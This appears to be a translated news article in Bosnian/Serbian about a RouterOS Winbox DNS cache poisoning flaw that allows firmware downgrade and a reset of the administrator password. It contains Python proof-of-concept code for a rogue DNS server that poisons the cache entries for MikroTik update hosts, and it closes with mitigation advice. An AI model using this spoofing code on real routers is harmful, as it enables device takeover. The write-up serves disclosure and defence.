Backport ranjivost u RouterOS-u prijeti stotinama hiljada uređaja

Backport ranjivost u RouterOS-u prijeti stotinama hiljada uređaja

Mogućnost daljinskog degradiranja uređaja zasnovanih na RouterOS-u (Mikrotik) ugrožava stotine hiljada mrežnih uređaja. Ranjivost se odnosi na trovanje DNS keš memorije Winbox protokola i omogućava vam da preuzmete zastarjeli (sa zadanim poništavanjem lozinke) ili modificirani firmver na uređaj.

Backport ranjivost u RouterOS-u prijeti stotinama hiljada uređaja

Detalji ranjivosti

RouterOS terminal podržava naredbu rješavanja za DNS pretraživanja.

Backport ranjivost u RouterOS-u prijeti stotinama hiljada uređaja

Ovim zahtjevom upravlja binarni razrješavač. Resolver je jedan od mnogih binarnih datoteka koje su povezane na RouterOS-ov Winbox protokol. Na visokom nivou, "poruke" poslane na Winbox port mogu se usmjeriti na različite binarne datoteke u RouterOS-u na osnovu šeme numeriranja zasnovane na nizu.

Funkcija DNS servera je podrazumevano onemogućena u RouterOS-u.

Backport ranjivost u RouterOS-u prijeti stotinama hiljada uređaja

Međutim, čak i kada je funkcija servera onemogućena, ruter održava sopstvenu DNS keš memoriju.

Backport ranjivost u RouterOS-u prijeti stotinama hiljada uređaja

Kada napravimo zahtjev koristeći winbox_dns_request poput example.com, ruter će keširati rezultat.

Backport ranjivost u RouterOS-u prijeti stotinama hiljada uređaja

S obzirom da možemo odrediti DNS server preko kojeg treba da ide zahtjev, trivijalno je unijeti pogrešne adrese. Na primjer, možete konfigurirati implementaciju DNS servera iz Philip Clausda uvijek odgovori sa A zapisom koji sadrži IP adresu 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Sada ako koristite Winbox za pretraživanje example.com, možete vidjeti da je DNS keš rutera zatrovan.

Backport ranjivost u RouterOS-u prijeti stotinama hiljada uređaja

Naravno, trovanje example.com nije od velike koristi, jer ga ruter zapravo neće koristiti. Međutim, ruter treba da pristupi upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com i download.mikrotik.com. A zahvaljujući još jednoj grešci, moguće ih je sve otrovati odjednom.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Ruter traži jedan grant, a mi vraćamo pet. Ruter pogrešno kešira sve ove odgovore.

Backport ranjivost u RouterOS-u prijeti stotinama hiljada uređaja

Očigledno, ovaj napad je također koristan ako ruter djeluje kao DNS server, jer omogućava napad na klijente rutera.

Takođe, ovaj napad omogućava iskorištavanje ozbiljnije ranjivosti: degradiranje ili vraćanje verzije RouterOS-a. Napadač ponovo kreira logiku servera za ažuriranje, uključujući dnevnik promjena, i prisiljava RouterOS da prihvati zastarjelu (ranjivu) verziju kao ažuriranu. Opasnost ovdje leži u činjenici da kada “nadogradite” verziju, administratorska lozinka se resetuje na “podrazumevanu” vrijednost – napadač se može prijaviti sa praznom lozinkom!


Napad je prilično djelotvoran, uprkos tome автор implementira još nekoliko vektora vezanih, između ostalog, za ugrađivanje backdoor-a u firmver, ali ovo je već suvišna tehnologija i njeno korištenje u nelegitimne svrhe je nezakonito.

zaštita

Jednostavno onemogućavanje Winboxa pomaže u zaštiti od ovih napada. Unatoč pogodnostima administracije kroz Winbox, bolje je koristiti SSH protokol.

izvor: www.habr.com

Dodajte komentar